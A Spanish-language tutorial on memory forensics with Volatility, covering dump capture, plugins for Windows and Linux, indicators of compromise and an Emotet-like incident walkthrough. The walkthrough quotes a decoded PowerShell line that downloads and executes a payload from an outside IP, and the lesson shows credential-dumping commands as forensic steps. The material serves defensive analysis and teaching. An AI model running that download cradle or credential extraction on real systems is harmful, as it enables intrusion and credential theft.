Volatility: cómo se analiza un volcado de memoria para forense

Cuando un servidor comprometido tiene persistencia solo en memoria (fileless malware, rootkit cargado, malware que se borra del disco tras ejecutar), el análisis forense del disco no revela nada: el binario desapareció, los logs se limpiaron, el histórico de shell se truncó. La única evidencia queda en la RAM: procesos cargados, conexiones activas, DLLs y librerías mapeadas, credenciales en estructuras internas del kernel, resultados de operaciones recientes. Capturar y analizar ese dump de memoria es lo que llamamos memory forensics, y la herramienta canónica para hacerlo es Volatility.

Volatility es un framework open source en Python que entiende las estructuras de memoria de Windows, Linux, macOS, Android, y permite ejecutar decenas de plugins que extraen información específica: lista de procesos (pslist, pstree), conexiones de red (netscan, netstat), módulos de kernel, hashes NTLM en memoria, histórico de comandos, shellcode detectado, rootkits ocultos. Con el dump adecuado y los plugins correctos, un analista forense reconstruye la actividad del equipo en el momento del volcado como si hubiera estado mirando por encima del hombro del atacante.

Esta lección cubre el flujo entero: cómo preparar un dump, qué perfil elegir, los plugins esenciales para Windows y Linux, y cómo interpretar los hallazgos. Es la tercera pata del bloque forense de la Tanda 4, tras persistencia Windows y Linux, y antes de la lección de timeline Windows.

Trabaja solo con dumps de equipos propios o con autorización explícita. Dumps de memoria contienen datos muy sensibles (passwords, claves, documentos abiertos); trátalos como material clasificado.

Preparar el dump#

Un dump de memoria es una copia binaria de toda la RAM física del equipo en un archivo (.raw, .lime, .mem, .vmem). Tamaño: igual al tamaño de la RAM (16 GB de RAM = 16 GB de dump).

Windows#

• WinPmem / DumpIt: utilities libres para dump en vivo.
• Microsoft Live Kernel Memory Dump: opción integrada.
• Snapshot de hypervisor: VMware .vmem, VirtualBox .sav, Hyper-V .bin. El más cómodo para labs.

Linux#

• LiME (Linux Memory Extractor): módulo de kernel que vuelca a archivo.
• AVML (Microsoft): binario estático sin dependencias.
• /proc/kcore con caveats.

# AVML (más fácil)
curl -LO https://github.com/microsoft/avml/releases/download/v0.11.1/avml
chmod +x avml
./avml dump.lime

macOS#

• OSXPmem (legado, difícil en versiones recientes).
• CoreAnalysis: requiere SIP deshabilitado.

Preservar el dump#

Hash el archivo inmediatamente con SHA-256; cadena de custodia para informes legales. Comprimir con gzip reduce ~60% tamaño.

Perfiles#

Volatility necesita conocer la estructura exacta de memoria del OS que dumpeaste. Volatility 2 usa «perfiles» estáticos (--profile=Win10x64_19041). Volatility 3 detecta automáticamente usando symbol tables descargadas de Microsoft Symbol Server.

# Volatility 3 (recomendado)
pip install volatility3

vol -f dump.raw windows.info
# Devuelve build, arquitectura, kernel base

Para Linux, Volatility 3 requiere ISF file (Intermediate Symbol Format) del kernel exacto. Si no está en el catálogo público, lo generas con dwarf2json desde los símbolos de ese kernel.

Plugins esenciales en Windows#

Procesos y árbol#

vol -f dump.raw windows.pslist
vol -f dump.raw windows.pstree
vol -f dump.raw windows.psscan  # detecta procesos ocultos por rootkit

pslist camina la lista enlazada de EPROCESS; psscan escanea pool memory, encontrando también procesos ocultos por rootkits que manipularon la lista.

Red#

vol -f dump.raw windows.netscan
vol -f dump.raw windows.netstat

Conexiones TCP/UDP activas en el momento del dump, con PID asociado. Útil para ver C2 (command and control) de malware.

DLLs y handles#

vol -f dump.raw windows.dlllist
vol -f dump.raw windows.handles --pid 1234

Qué DLLs cargó cada proceso; qué handles tiene abiertos (archivos, keys registry, mutex). Un proceso con mutex con nombre sospechoso suele indicar malware.

Credenciales en memoria#

vol -f dump.raw windows.hashdump
vol -f dump.raw windows.cachedump
vol -f dump.raw windows.lsadump

Extrae hashes NTLM de SAM, cachés de dominio, secretos LSA. Es lo que mimikatz hace online; Volatility lo hace offline sobre el dump.

Memoria por proceso#

vol -f dump.raw windows.memmap --pid 1234
vol -f dump.raw windows.dumpfiles --pid 1234
vol -f dump.raw windows.malfind

• memmap: mapea regiones.
• dumpfiles: extrae ejecutables y DLLs cargados.
• malfind: detecta regiones con permisos sospechosos (RWX) y shellcode injection patterns.

Registry#

vol -f dump.raw windows.registry.hivelist
vol -f dump.raw windows.registry.printkey --key "Software\Microsoft\Windows\CurrentVersion\Run"

Lee el registry desde la memoria en el momento del dump (puede diferir del disco si hubo cambios no sincronizados).

Command history#

vol -f dump.raw windows.cmdline
vol -f dump.raw windows.consoles  # histórico de cmd.exe

Cada proceso con su línea de comandos; consoles reconstruye ventanas cmd con su scrollback.

Plugins esenciales en Linux#

Equivalentes:

# Procesos
vol -f dump.lime linux.pslist
vol -f dump.lime linux.psscan   # detectar ocultos

# Red
vol -f dump.lime linux.sockstat
vol -f dump.lime linux.ifconfig

# Módulos kernel (detectar LKM rootkits)
vol -f dump.lime linux.lsmod
vol -f dump.lime linux.check_modules  # oculto por manipulación

# Mounts, ficheros abiertos
vol -f dump.lime linux.mount
vol -f dump.lime linux.lsof --pid 1234

# Memoria sospechosa
vol -f dump.lime linux.malfind

# Sudoers y users
vol -f dump.lime linux.bash  # histórico de bash en memoria

linux.bash es especialmente valioso: reconstruye el histórico de comandos que ejecutaron los usuarios durante la sesión activa, incluso si borraron ~/.bash_history.

Detectar artefactos típicos#

Qué señales busca un analista experimentado:

• Regiones RWX (ejecutables y escribibles): raramente legítimo, indica shellcode injection.
• Procesos sin parent legítimo: cmd.exe hijo de winword.exe = macro maliciosa.
• Discrepancia entre pslist y psscan: rootkit ocultando procesos.
• Módulos kernel cargados que no coinciden con los modprobe conf: LKM rootkit.
• Conexiones salientes a IPs raras (geoIP inesperada, puertos no estándar).
• Credenciales NTLM en memoria de procesos no autenticadores: dumping en progreso.
• Mutex con nombres típicos de familias de malware (Emotet, TrickBot, Cobalt Strike beacons).

Análisis de malware fileless#

El uso más potente: cuando no queda binario en disco porque el malware se borró a sí mismo, el dump de memoria tiene:

• El binario completo mapeado en la memoria del proceso (extraíble con dumpfiles).
• Las strings embebidas (direcciones IP C2, dominios de descarga, nombres de persistencia).
• Las credenciales que dumpeó.
• El shellcode original decrypted en memoria aunque viniera cifrado en disco.

Es común que un analista extraiga el binario del dump y lo mande a análisis estático (IDA, Ghidra) o dinámico (sandbox) para entender la capacidad completa del malware.

Herramientas complementarias#

• YARA + Volatility: aplicar reglas YARA sobre regiones de memoria (yarascan).
• Rekall: fork de Volatility con API diferente, algunas features únicas.
• MemProcFS: monta el dump como filesystem navegable.
• bulk_extractor: extrae strings, URLs, IPs, emails del dump con menos conocimiento del OS.

Mitigación y defensa#

Para equipos defensivos:

• Habilitar snapshots regulares de VMs: útiles para forense si hay incidente.
• Capacitar al equipo de respuesta en captura rápida: AVML, DumpIt deben estar en el toolkit.
• Políticas de retención: dumps forenses se guardan 90 días mínimo tras incidente.
• Chain of custody: hash + firma digital + registro de quién lo tocó.
• EDRs modernos (Defender ATP, CrowdStrike Falcon) ya capturan telemetría similar en tiempo real, pero no reemplazan al dump completo en incidentes graves.

Walkthrough: investigando una infección Emotet-like#

Para fijar el patrón, el flujo típico sobre un dump real.

Paso 1 — overview:

vol -f dump.raw windows.info
# Build 19041 Windows 10, 16 GB RAM, dump de 10:34 UTC

Paso 2 — árbol de procesos:

vol -f dump.raw windows.pstree
# winword.exe (PID 2341)
#   └─ cmd.exe (PID 3127) ← anómalo
#       └─ powershell.exe (PID 3245) ← -nop -enc base64...
#           └─ svchost.exe (PID 4120) ← anómalo

Un winword.exe hijo de nada, que a su vez lanza cmd y powershell ofuscado: macro maliciosa clásica.

Paso 3 — decodificar el PowerShell:

vol -f dump.raw windows.cmdline --pid 3245
# powershell.exe -nop -enc SQBFAFgAIAA...

echo "SQBFAFgAIAA..." | base64 -d
# IEX (New-Object Net.WebClient).DownloadString('http://203.0.113.5/payload')

Confirmado: descarga payload desde IP externa.

Paso 4 — conexiones del svchost sospechoso:

vol -f dump.raw windows.netscan
# 4120 svchost.exe 10.0.0.5:52341 → 203.0.113.5:443 ESTABLISHED

C2 identificado.

Paso 5 — dumpear la memoria del svchost malicioso:

vol -f dump.raw windows.dumpfiles --pid 4120 --dump-dir ./extracted/
# Guarda ejecutables cargados en memoria

Paso 6 — buscar credenciales dumpeadas:

vol -f dump.raw windows.hashdump
vol -f dump.raw windows.lsadump

Si el malware ya pasó por LSASS, aparecerán hashes en memoria.

Paso 7 — informe: timeline reconstruido, IOCs (hash del binario extraído, IP C2, dominio, mutex), recomendación de rotación de credenciales y reimagen del equipo.

Correlación con otras fuentes#

Un análisis forense maduro no se queda solo en el dump de memoria. Lo cruza con:

• Logs de EDR: si había Defender/CrowdStrike/SentinelOne, sus logs tienen la misma historia con menos esfuerzo.
• Logs de proxy/firewall: tráfico saliente hacia el C2 corroborado.
• Snapshot del disco: artefactos de persistencia, histórico de archivos.
• Memoria de otros equipos: si el malware se movió lateralmente, otros dumps confirman el patrón.
• Threat intelligence: IOCs cruzados con VirusTotal, OTX, MISP para atribución.

La memoria sola cuenta la mitad de la historia; combinada con las otras fuentes, el analista reconstruye el incidente completo.

Errores comunes#

• Reiniciar el equipo sospechoso antes de capturar memoria.
• No hashear el dump inmediatamente.
• Correr Volatility sobre el dump original (hacerlo sobre copia; preserva cadena de custodia).
• Perfil o symbol table incorrectos (resultados corruptos, plugins fallan).
• Analizar sin establecer hipótesis: mejor empezar con pstree + netscan que ejecutar todos los plugins ciegamente.

Preguntas frecuentes#

¿Qué pasa si el equipo tiene cifrado de disco?#

El cifrado afecta al disco, no a la RAM. En memoria los datos están descifrados mientras el OS esté encendido. De ahí que capturar memoria sea crítico en sistemas con disco cifrado: es la única vía para obtener los datos en claro.

¿Un dump de memoria compromete la privacidad?#

Sí. Contiene passwords, mensajes privados, documentos abiertos, chaves API, cookies de sesión. Hay que tratarlo como dato ultra sensible. En GDPR puede requerir notificación si se maneja fuera de controles estrictos.

¿Volatility 3 reemplaza a Volatility 2?#

Sí para la mayoría de casos. Vol 3 es más mantenido y soporta Windows 11, kernels modernos. Vol 2 sigue teniendo algunos plugins que aún no portaron, pero la migración es casi completa.

¿Se puede dumpear memoria de un servidor en producción sin impacto?#

Dumping bloquea la VM durante los segundos que dura (minutos para RAM grande). En servicios críticos se hace en ventana de mantenimiento o sobre snapshot del hypervisor para no interrumpir servicio.

¿Dónde practico?#

El laboratorio snort de whoami-labs incluye un dump de memoria de un Windows comprometido por Emotet-like malware. Practicas pstree, netscan, malfind, dumpfiles, y reconstrucción del flujo del ataque desde la memoria.

Resumen#

• Volatility es el framework canónico para analizar dumps de memoria RAM.
• Captura con WinPmem/DumpIt (Windows), LiME/AVML (Linux), snapshots de hypervisor.
• Plugins esenciales: pstree, netscan, malfind, hashdump, dumpfiles, cmdline.
• Linux: linux.bash reconstruye histórico de comandos aunque ~/.bash_history esté borrado.
• Casos: fileless malware, rootkits ocultos, extracción de credenciales, reconstrucción de C2.
• Chain of custody: hash, copia, retention.

La memory forensics es una disciplina que madura con la práctica: cada dump trae patrones nuevos, cada familia de malware cambia sus artefactos, y los analistas con más experiencia reconocen de un vistazo lo que a un principiante le toma horas de análisis plugin por plugin.

Fuentes y lecturas recomendadas#

• Volatility Foundation
• The Art of Memory Forensics
• AVML
• LiME